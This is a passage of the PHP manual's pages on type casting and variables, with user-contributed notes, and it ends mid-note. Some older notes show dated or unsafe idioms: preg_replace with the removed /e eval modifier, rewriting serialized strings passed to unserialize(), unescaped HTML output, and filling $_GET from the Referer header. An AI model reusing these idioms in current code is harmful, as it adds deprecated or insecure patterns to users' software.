<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
  public function getX() { return $this->x; }
  public function getY() { return $this->y; }
}

$p = new Point(25, 35);
echo $p->getX();      // 25
echo $p->getY();      // 35
?>
Ok, now we need extra powers. PHP gives us several options:
  A. We can tag on extra properties on-the-fly using everyday PHP syntax...
    $p->z = 45; // here, $p is still an object of type [Point] but gains no capability, and it's on a per-instance basis, blah.
  B. We can try type-casting it to a different type to access more functions...
    $p = (SuperDuperPoint) $p; // if this is even allowed, I doubt it. But even if PHP lets this slide, the small amount of data Point holds would probably not be enough for the extra functions to work anyway. And we still need the class def + all extra data. We should have just instantiated a [SuperDuperPoint] object to begin with... and just like above, this only works on a per-instance basis.
  C. Do it the right way using OOP - and just extend the Point class already.
<?php
class Point3D extends Point {
  protected $z;                                // add extra properties...

  public function __construct($xVal = 0, $yVal = 0, $zVal = 0) {
    parent::__construct($xVal, $yVal);
    $this->z = $zVal;
  }
  public function getZ() { return $this->z; }  // add extra functions...
}

$p3d = new Point3D(25, 35, 45);  // more data, more functions, more everything...
echo $p3d->getX();               // 25
echo $p3d->getY();               // 35
echo $p3d->getZ();               // 45
?>
Once the new class definition is written, you can make as many Point3D objects as you want. Each of them will have more data and functions already built-in. This is much better than trying to beef-up any "single lesser object" on-the-fly, and it's way easier to do.
lucazd at gmail dot com 24-Sep-2008 06:20
@alexgr (20-Jun-2008)

Correct me if I'm wrong, but that is not a cast, it might be useful sometimes, but the IDE will not reflect what's really happening:

<?php
class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
    /** Does nothing */
    function f() {}
}

class X extends MyObject {
    /** Throws exception */
    function f() { throw new exception(); }
}

$x = MyObject::cast(new X);
$x->f(); // Your IDE tells 'f() Does nothing'
?>

However, when you run the script, you will get an exception.
nullhilty at gmail dot com 09-Sep-2008 08:34
Just a little experiment on the (unset) type cast:

<?php
$var = 1;
$var_unset = (unset) $var;
$var_ref_unset &= (unset) $var;
var_dump($var);
var_dump($var_unset);
var_dump($var_ref_unset);
?>

output:
int(1)
NULL
int(0)
alexgr at gmail dot com 20-Jun-2008 12:43
For a Cast to a User Defined Object you can define a cast method:

class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
}

In your php page code you can:
$myObject = MyObject::cast($_SESSION["myObject"]);

Then, PHP will validate the value and your IDE will help you.
miracle at 1oo-percent dot de 20-Feb-2006 02:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
23-Jun-2005 02:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
toma at smartsemantics dot com 10-Mar-2005 03:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
    if(class_exists($class_type,true)){
        $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
          "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
    }
}
Raja 10-Feb-2005 12:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
tom5025_ at hotmail dot com 24-Aug-2004 10:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com 10-Mar-2004 04:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
    if(class_exists($new_classname)) {
        $old_serialized_object = serialize($old_object);
        $old_object_name_length = strlen(get_class($old_object));
        $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
        $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
        $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
        return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com 27-Feb-2004 04:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    // Example serialized object segment
    // O:5:"field":9:{s:5:...   <--- Class: Field
    $old_serialized_prefix  = "O:".strlen(get_class($old_object));
    $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
    $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de 03-May-2003 06:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
    return unserialize($new_serialized_object);
  }
  else
    return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru 27-Nov-2002 10:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
29-Aug-2002 07:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!


Variables

Table of Contents

  • Basics
  • Predefined Variables
  • Variable scope
  • Variable variables
  • Variables From External Sources

User Contributed Notes

anoniempje 14-Jan-2014 01:04
<?php
  function tafel_vier()
  {
    $getal = 4;
    for($i=1; $i <= 10; $i++)
    {
      $uitkomst = $i * $getal;
      echo $i . " maal " . $getal . " = " . $uitkomst . "<br/>";
    }
  }
  tafel_vier();
?>
justgook at gmail dot com 03-Aug-2010 10:38
I found interstate solution to work with arrays

<?php
$vars['product']['price']=11;

$aa='product';
$bb='price';

echo $vars{$aa}{$bb};

//prints 11
?>
dimitrov dot adrian at gmail dot com 29-Jul-2010 03:52
This is mine type casting lib, that is very useful for me.

<?php

function CAST_TO_INT($var, $min = FALSE, $max = FALSE)
{
    $var = is_int($var) ? $var : (int)(is_scalar($var) ? $var : 0);
    if ($min !== FALSE && $var < $min)
        return $min;
    elseif($max !== FALSE && $var > $max)
        return $max;
    return $var;

}

function CAST_TO_FLOAT($var, $min = FALSE, $max = FALSE)
{
    $var = is_float($var) ? $var : (float)(is_scalar($var) ? $var : 0);
    if ($min !== FALSE && $var < $min)
        return $min;
    elseif($max !== FALSE && $var > $max)
        return $max;
    return $var;
}

function CAST_TO_BOOL($var)
{
    return (bool)(is_bool($var) ? $var : is_scalar($var) ? $var : FALSE);
}

function CAST_TO_STRING($var, $length = FALSE)
{
    if ($length !== FALSE && is_int($length) && $length > 0)
        return substr(trim(is_string($var)
                    ? $var
                    : (is_scalar($var) ? $var : '')), 0, $length);

    return trim(
                is_string($var)
                ? $var
                : (is_scalar($var) ? $var : ''));
}

function CAST_TO_ARRAY($var)
{
    return is_array($var)
            ? $var
            : is_scalar($var) && $var
                ? array($var)
                : is_object($var) ? (array)$var : array();
}

function CAST_TO_OBJECT($var)
{
    return is_object($var)
            ? $var
            : is_scalar($var) && $var
                ? (object)$var
                : is_array($var) ? (object)$var : (object)NULL;
}

?>
Anonymous 20-Jul-2008 03:25
[EDIT by danbrown AT php DOT net: The function provided by this author will give you all defined variables at runtime.  It was originally written by (john DOT t DOT gold AT gmail DOT com), but contained some errors that were corrected in subsequent posts by (ned AT wgtech DOT com) and (taliesin AT gmail DOT com).]

<?php

echo '<table border=1><tr> <th>variable</th> <th>value</th> </tr>';
foreach( get_defined_vars() as $key => $value)
{
    if (is_array ($value) )
    {
        echo '<tr><td>$'.$key .'</td><td>';
        if ( sizeof($value)>0 )
        {
        echo '"<table border=1><tr> <th>key</th> <th>value</th> </tr>';
        foreach ($value as $skey => $svalue)
        {
            echo '<tr><td>[' . $skey .']</td><td>"'. $svalue .'"</td></tr>';
        }
        echo '</table>"';
        }
             else
        {
            echo 'EMPTY';
        }
        echo '</td></tr>';
    }
    else
    {
            echo '<tr><td>$' . $key .'</td><td>"'. $value .'"</td></tr>';
    }
}
echo '</table>';
?>
jsb17 at cornell dot edu 20-Feb-2007 05:48
As an addendum to David's 10-Nov-2005 posting, remember that curly braces literally mean "evaluate what's inside the curly braces" so, you can squeeze the variable variable creation into one line, like this:

<?php
  ${"title_default_" . $title} = "selected";
?>

and then, for example:

<?php
  $title_select = <<<END
    <select name="title">
      <option>Select</option>
      <option $title_default_Mr  value="Mr">Mr</option>
      <option $title_default_Ms  value="Ms">Ms</option>
      <option $title_default_Mrs value="Mrs">Mrs</option>
      <option $title_default_Dr  value="Dr">Dr</option>
    </select>
END;
?>
Mike at ImmortalSoFar dot com 25-Nov-2005 11:03
References and "return" can be flakey:

<?php
//  This only returns a copy, despite the dereferencing in the function definition
function &GetLogin ()
{
    return $_SESSION['Login'];
}

//  This gives a syntax error
function &GetLogin ()
{
    return &$_SESSION['Login'];
}

//  This works
function &GetLogin ()
{
    $ret = &$_SESSION['Login'];
    return $ret;
}
?>
david at removethisbit dot futuresbright dot com 10-Nov-2005 10:25
When using variable variables this is invalid:

<?php
$my_variable_{$type}_name = true;
?>

to get around this do something like:

<?php
$n="my_variable_{$type}_name";
${$n} = true;
?>

(or $$n - I tend to use curly brackets out of habit as it helps t reduce bugs ...)
Chris Hester 31-Aug-2005 02:09
Variables can also be assigned together.

<?php
$a = $b = $c = 1;
echo $a.$b.$c;
?>

This outputs 111.
josh at PraxisStudios dot com 17-May-2005 10:06
As with echo, you can define a variable like this:

<?php

$text = <<<END

<table>
    <tr>
        <td>
             $outputdata
        </td>
     </tr>
</table>

END;

?>

The closing END; must be on a line by itself (no whitespace).

[EDIT by danbrown AT php DOT net: This note illustrates HEREDOC syntax.  For more information on this and similar features, please read the "Strings" section of the manual here: http://www.php.net/manual/en/language.types.string.php ]
Carel Solomon 07-Jan-2005 12:02
You can also construct a variable name by concatenating two different variables, such as:

<?php

$arg = "foo";
$val = "bar";

//${$arg$val} = "in valid";     // Invalid
${$arg . $val} = "working";

echo $foobar;     // "working";
//echo $arg$val;         // Invalid
//echo ${$arg$val};     // Invalid
echo ${$arg . $val};    // "working"

?>

Carel
raja shahed at christine nothdurfter dot com 25-May-2004 07:58
<?php
error_reporting(E_ALL);

$name = "Christine_Nothdurfter";
// not Christine Nothdurfter
// you are not allowed to leave a space inside a variable name ;)
$$name = "'s students of Tyrolean language ";

print " $name{$$name}<br>";
print  "$name$Christine_Nothdurfter";
// same
?>
webmaster at daersys dot net 20-Jan-2004 05:15
You don't necessarily have to escape the dollar-sign before a variable if you want to output its name.

You can use single quotes instead of double quotes, too.

For instance:

<?php
$var = "test";

echo "$var"; // Will output the string "test"

echo "\$var"; // Will output the string "$var"

echo '$var'; // Will do the exact same thing as the previous line
?>

Why?
Well, the reason for this is that the PHP Parser will not attempt to parse strings encapsulated in single quotes (as opposed to strings within double quotes) and therefore outputs exactly what it's being fed with :)

To output the value of a variable within a single-quote-encapsulated string you'll have to use something along the lines of the following code:

<?php
$var = 'test';
/*
Using single quotes here seeing as I don't need the parser to actually parse the content of this variable but merely treat it as an ordinary string
*/

echo '$var = "' . $var . '"';
/*
Will output:
$var = "test"
*/
?>

HTH
- Daerion


Basics

Variables in PHP are represented by a dollar sign followed by the name of the variable. The variable name is case-sensitive.

Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

Note: For our purposes here, a letter is a-z, A-Z, and the bytes from 127 through 255 (0x7f-0xff).

Note: $this is a special variable that can't be assigned.

Tip

See also the Userland Naming Guide.

For information on variable related functions, see the Variable Functions Reference.

<?php
$var = 'Bob';
$Var = 'Joe';
echo "$var, $Var";      // outputs "Bob, Joe"

$4site = 'not yet';     // invalid; starts with a number
$_4site = 'not yet';    // valid; starts with an underscore
$täyte = 'mansikka';    // valid; 'ä' is (Extended) ASCII 228.
?>

By default, variables are always assigned by value. That is to say, when you assign an expression to a variable, the entire value of the original expression is copied into the destination variable. This means, for instance, that after assigning one variable's value to another, changing one of those variables will have no effect on the other. For more information on this kind of assignment, see the chapter on Expressions.

PHP also offers another way to assign values to variables: assign by reference. This means that the new variable simply references (in other words, "becomes an alias for" or "points to") the original variable. Changes to the new variable affect the original, and vice versa.

To assign by reference, simply prepend an ampersand (&) to the beginning of the variable which is being assigned (the source variable). For instance, the following code snippet outputs 'My name is Bob' twice:

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
?>

One important thing to note is that only named variables may be assigned by reference.

<?php
$foo = 25;
$bar = &$foo;      // This is a valid assignment.
$bar = &(24 * 7);  // Invalid; references an unnamed expression.

function test()
{
   return 25;
}

$bar = &test();    // Invalid.
?>

It is not necessary to initialize variables in PHP however it is a very good practice. Uninitialized variables have a default value of their type depending on the context in which they are used - booleans default to FALSE, integers and floats default to zero, strings (e.g. used in echo) are set as an empty string and arrays become to an empty array.

Example #1 Default values of uninitialized variables

<?php
// Unset AND unreferenced (no use context) variable; outputs NULL
var_dump($unset_var);

// Boolean usage; outputs 'false' (See ternary operators for more on this syntax)
echo($unset_bool ? "true\n" : "false\n");

// String usage; outputs 'string(3) "abc"'
$unset_str .= 'abc';
var_dump($unset_str);

// Integer usage; outputs 'int(25)'
$unset_int += 25; // 0 + 25 => 25
var_dump($unset_int);

// Float/double usage; outputs 'float(1.25)'
$unset_float += 1.25;
var_dump($unset_float);

// Array usage; outputs array(1) {  [3]=>  string(3) "def" }
$unset_arr[3] = "def"; // array() + array(3 => "def") => array(3 => "def")
var_dump($unset_arr);

// Object usage; creates new stdClass object (see http://www.php.net/manual/en/reserved.classes.php)
// Outputs: object(stdClass)#1 (1) {  ["foo"]=>  string(3) "bar" }
$unset_obj->foo = 'bar';
var_dump($unset_obj);
?>

Relying on the default value of an uninitialized variable is problematic in the case of including one file into another which uses the same variable name. It is also a major security risk with register_globals turned on. E_NOTICE level error is issued in case of working with uninitialized variables, however not in the case of appending elements to the uninitialized array. isset() language construct can be used to detect if a variable has been already initialized.

User Contributed Notes

jeff12 at fastpitchcentral dot com 21-Mar-2014 04:38
While the recommendation here is to initialize variables, there is a very good reason to definitely initialize variables.

I just had the unpleasant task of making numerous folks happy that the Apache "error_log" is now much smaller.  We had over 1500 variables that showed up as "error" in the error_log file.  In many cases just one uninitialized variable might cause 10s or 100s of thousands of records to be entered in the "error_log".

While it may not be necessary to initialize variables, there can be a significant cost if you do not do so.

And no, that website was not willing to lower the bar and not write to the "error_log" file if it was simply a case of uninitialized variables.  It was also the case that in a small percentage of cases  the variables newly initialized caused me to scratch my head and conclude that a blank or zero might cause different logic to occur.
tymac at hotmail dot com 19-Sep-2013 01:05
Hi,

something like $foo = &myfunc(); seems to work fine.

Regards.
php at richardneill dot org 26-Aug-2013 10:05
Note that "$1" is not a variable name. PHP treats it literally, even when it is in double quotes. Eg:

$fruit="apple";
echo "This $fruit costs $1 ";

This is especially notable when using $1, $2 etc inside parameterised queries in SQL.
megan at voices dot com 05-Jan-2012 05:44
"Note: $this is a special variable that can't be assigned."

While the PHP runtime generates an error if you directly assign $this in code, it doesn't for $$name when name is 'this'.

<?php

$this = 'text'; // error

$name = 'this';
$$name = 'text'; // sets $this to 'text'

?>
maurizio dot domba at pu dot t-com dot hr 21-Jan-2011 11:23
If you need to check user entered value for a proper PHP variable naming convention you need to add ^ to the above regular expression so that the regular expression should be '^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'.

Example

<?php
$name="20011aa";
if(!preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is valid PHP variable name

but

<?php
$name="20011aa";
if(!preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/',$name))
   echo $name.' is not a valid PHP variable name';
else
   echo $name.' is valid PHP variable name';
?>

Outputs: 2011aa is not a valid PHP variable name
jeff dot phpnet at tanasity dot com 12-Sep-2010 01:11
This page should include a note on variable lifecycle:

Before a variable is used, it has no existence. It is unset. It is possible to check if a variable doesn't exist by using isset(). This returns true provided the variable exists and isn't set to null. With the exception of null, the value a variable holds plays no part in determining whether a variable is set.

Setting an existing variable to null is a way of unsetting a variable. Another way is variables may be destroyed by using the unset() construct.

<?php
print isset($a); // $a is not set. Prints false. (Or more accurately prints ''.)
$b = 0; // isset($b) returns true (or more accurately '1')
$c = array(); // isset($c) returns true
$b = null; // Now isset($b) returns false;
unset($c); // Now isset($c) returns false;
?>

is_null() is an equivalent test to checking that isset() is false.

The first time that a variable is used in a scope, it's automatically created. After this isset is true. At the point at which it is created it also receives a type according to the context.

<?php
$a_bool = true;   // a boolean
$a_str = 'foo';    // a string
?>

If it is used without having been given a value then it is uninitalized and it receives the default value for the type. The default values are the _empty_ values. E.g  Booleans default to FALSE, integers and floats default to zero, strings to the empty string '', arrays to the empty array.

A variable can be tested for emptiness using empty();

<?php
$a = 0; //This isset, but is empty
?>

Unset variables are also empty.

<?php
empty($vessel); // returns true. Also $vessel is unset.
?>

Everything above applies to array elements too.

<?php
$item = array();
//Now isset($item) returns true. But isset($item['unicorn']) is false.
//empty($item) is true, and so is empty($item['unicorn']

$item['unicorn'] = '';
//Now isset($item['unicorn']) is true. And empty($item) is false.
//But empty($item['unicorn']) is still true;

$item['unicorn'] = 'Pink unicorn';
//isset($item['unicorn']) is still true. And empty($item) is still false.
//But now empty($item['unicorn']) is false;
?>

For arrays, this is important because accessing a non-existent array item can trigger errors; you may want to test arrays and array items for existence with isset before using them.
Edoxile 06-Mar-2010 10:25
When wanting to switch two variables from content, you can use the XOR operator:

<?PHP
$a=5;
$b=3;

//Please mind the order of these, as it's important for the outcome.

$a^=$b;
$b^=$a;
$a^=$b;

echo $a.PHP_EOL.$b;
/* prints:
3
5
*/
?>

This will also work on strings, but it won't work on arrays and objects, so for them you'll have to use the serialize() function before the operation, and the unserialize() function after.


Predefined Variables

PHP provides a large number of predefined variables to any script which it runs. Many of these variables, however, cannot be fully documented as they are dependent upon which server is running, the version and setup of the server, and other factors. Some of these variables will not be available when PHP is run on the command line. For a listing of these variables, please see the section on Reserved Predefined Variables.

Warning

In PHP 4.2.0 and later, the default value for the PHP directive register_globals is off. This is a major change in PHP. Having register_globals off affects the set of predefined variables available in the global scope. For example, to get DOCUMENT_ROOT you'll use $_SERVER['DOCUMENT_ROOT'] instead of $DOCUMENT_ROOT, or $_GET['id'] from the URL http://www.example.com/test.php?id=3 instead of $id, or $_ENV['HOME'] instead of $HOME.

For related information on this change, read the configuration entry for register_globals, the security chapter on Using Register Globals , as well as the PHP » 4.1.0 and » 4.2.0 Release Announcements.

Using the available PHP Reserved Predefined Variables, like the superglobal arrays, is preferred.

From version 4.1.0 onward, PHP provides an additional set of predefined arrays containing variables from the web server (if applicable), the environment, and user input. These new arrays are rather special in that they are automatically global--i.e., automatically available in every scope. For this reason, they are often known as "superglobals". (There is no mechanism in PHP for user-defined superglobals.) The superglobals are listed below; however, for a listing of their contents and further discussion on PHP predefined variables and their natures, please see the section Reserved Predefined Variables. Also, you'll notice how the older predefined variables ($HTTP_*_VARS) still exist. As of PHP 5.0.0, the long PHP predefined variable arrays may be disabled with the register_long_arrays directive.

Note: Variable variables

Superglobals cannot be used as variable variables inside functions or class methods.

Note:

Even though both the superglobal and HTTP_*_VARS can exist at the same time; they are not identical, so modifying one will not change the other.

If certain variables in variables_order are not set, their appropriate PHP predefined arrays are also left empty.

User Contributed Notes

root at mantoru dot de 31-Jan-2008 09:56
To tokie at hanmail dot net: You took that out of context -- it is merely a recommendation.

If your variables_order setting does not contain "E", $_ENV is still useful. Every call to getenv will be "cached" in $_ENV, so you can do this:

<?php
// variables_order = GPCS
var_dump(isset($_ENV['PATH'])); // bool(false)
getenv('PATH');
var_dump(isset($_ENV['PATH'])); // bool(true)
?>

For some reason, it does not work with with own environment variables. The above example with PHP_TEST instead of PATH would fail (if it is set via putenv).
fabrizio at bibivu dot com 28-Jun-2007 04:05
theonly_DD32, I refined your function a little bit

<?php
    function long_to_GET($PATH_INFO=''){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * array ( [d] => 4 [a] => 1 [b] => 2 [c] => array ( [d] => 4 ) )
        * got this function from http://php.net/GLOBALS
        **/
        if($PATH_INFO=='' && isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            $PATH_INFO = $_SERVER['PATH_INFO'];
        }
        if($PATH_INFO != ''){
            //Split it out.
            $tmp = explode('/',$PATH_INFO);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){
                if(strpos($tmp[$i],'?')!==false){
                    $tmp1 = explode('?',$tmp[$i]);
                    parse_str(isset($tmp1[1])?$tmp1[1]:'',$_GET[$tmp1[0]]);
                    $i--;
                } else {
                    $_GET[$tmp[$i]] = isset($tmp[$i+1])?$tmp[$i+1]:'';
                }
            }
        }
    }

?>
pinkgothic at gmail dot com 20-Apr-2007 04:15
Dealing with "superglobals" and functions is not as straightforward as it may seem when you're doing plenty manipulations.

For example:

<?php
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Calling some_method() will cause a warning-level error by PHP informing you that "id" is not set in some_other_method(). However, if you instead use:

<?php
  $_REQUEST['id'] = 0;
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Then the script will echo 440.

In consequence, if you manually attempt to add keys to the superglobals, those keys *aren't* automatically superglobal. The above example isn't very sensible, of course, but this can be a huge gotcha if you're juggling user data between functions and you're unwittingly being forced to work inside a function (e.g. via PHP include in TYPO3).

Unfortunately, global $_REQUEST['id'] won't save you, either - it causes a parse error - nor will a global $_REQUEST change anything after you've set the keys... consequently making it hard to conviniently 'hack' outdated scripts by making them believe they're still running in a different environment.

The only "solution" to this issue is to use parameters.
holger at doessing dot net 02-Feb-2007 03:07
On the subject of permalinks and queries:
Say, you use an inexpensive subdomain of (e.g.) www.nice.net, thus www.very.nice.net, and that the domain owner has simply placed a frame at this particular location, linking to the actual address (ugly and subject-to-change) of your site.
Consequently, the actual site URI and various associated hashes and query strings are not immediately visible to the user. Sometimes this is useful, but it also makes bookmarking/permalinking impossible (the browser will only bookmark the static address in the top frame).
However, as far as the query strings go, there is workaround. Instead of providing users with permalinks to the actual URI (e.g. prtcl://weird.and.ugly/~very/ugly.php?stuff=here; may even be subject to change), I provide them with this: prtcl://www.very.nice.net?stuff=here.

In brief, I then use the following code to re-populate the $_GET array:

if (isset($_SERVER['HTTP_REFERER'])) { // If set, this page is running in a frame
    $uri = parse_url($_SERVER['HTTP_REFERER']); // grab URI of parent frame
    $querystring = ($uri['query']) ? $uri['query'] : false; // grab the querystring
    if ($querystring) {
        $vars = explode('&', $querystring); // cut into individual statements
        foreach ($vars as $varstring) { // populate $_GET
            $var = explode('=', $varstring);
            if (count($var) == 2) $_GET[$var[0]] = $var[1];
        }
    } // no, nothing to report from the parent frame
} // no, not using a parent frame today...

If the actual host address is ever changed, users entering the frame (with the nicer address) will be using the new (and ugly) URI, but this way the old query strings will be available to the new address also. The users will never again be bothered by you moving to another neighborhood.
yarco dot w at gmail dot com 10-Aug-2006 04:13
And you should know

$_POST is not a reference of $HTTP_POST_VARS

So, if you change $_POST, there are no change to $HTTP_POST_VARS.
Iñigo Medina 05-May-2006 10:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com 12-Apr-2006 07:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
jk at ricochetsolutions dot com 28-Mar-2006 10:41
here is a one line snippet to do the same as DD32's func

@preg_replace(
   "/(?i)([a-z0-9_]+)\/([a-z0-9_]+)\/?/e",
   '$_GET[\'$1\'] = "$2";',
   ((isset($_SERVER['PATH_INFO'])) ? $_SERVER['PATH_INFO'] : '')
);

may be faster, it may not ;o
DD32=theonly_DD32[&amp;]yahoo.com.au 19-Mar-2006 02:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
    function long_to_GET(){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
        **/
        if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            //Split it out.
            $tmp = explode('/',$_SERVER['PATH_INFO']);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
        }
    }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
08-Mar-2006 02:51
there is a difference to the scope of eg. java: variables that are defined inside a block are also defined outside of  the brackets.

eg. this works:

if {true}
{
  $a = 'it works';
}

echo $a;
Graeme Jefferis 13-Sep-2005 01:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
        switch ($key)
        {
                case "submitted_var_1":
                case "submitted_var_2":
                case "submitted_var_3":
                        $$key = $value; break;

                case "dangerous_var":
                        $value = do_something_special_with($value);
                        $$key = $value;
                        break;
        }
}
?>
Nicole King 12-Sep-2005 08:01
There seems to a maximum size of key that you can use for the $_SESSION array on php5. If you exceed this length, which seems to be around 72 characters, the value is stored in the array, but is not serialised and restored later in the session (ie. when a subsquent page is processed). The same restriction *might* apply to other system-defined arrays.
webdesign at benking dot com 29-Aug-2005 11:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
    $temp = ",$k,";
    if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
dompody [at] gmail [dot] com 15-May-2005 02:08
To urbanheroes:

version_compare() is only in PHP version 4.1.0 and up. This completely negates your function, since if the version is less than 4.1.0 it will generate an error anyway. The better solution is to do what is stated in the post above yours:

<?php
if (!isset($_SERVER))
{
   $_GET    = &$HTTP_GET_VARS;
   $_POST    = &$HTTP_POST_VARS;
   $_ENV    = &$HTTP_ENV_VARS;
   $_SERVER  = &$HTTP_SERVER_VARS;
   $_COOKIE  = &$HTTP_COOKIE_VARS;
   $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}
?>

Include that before everything else in your script and it will fix the flaw.
myfirstname dot barros at gmail dot com 27-Apr-2005 04:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
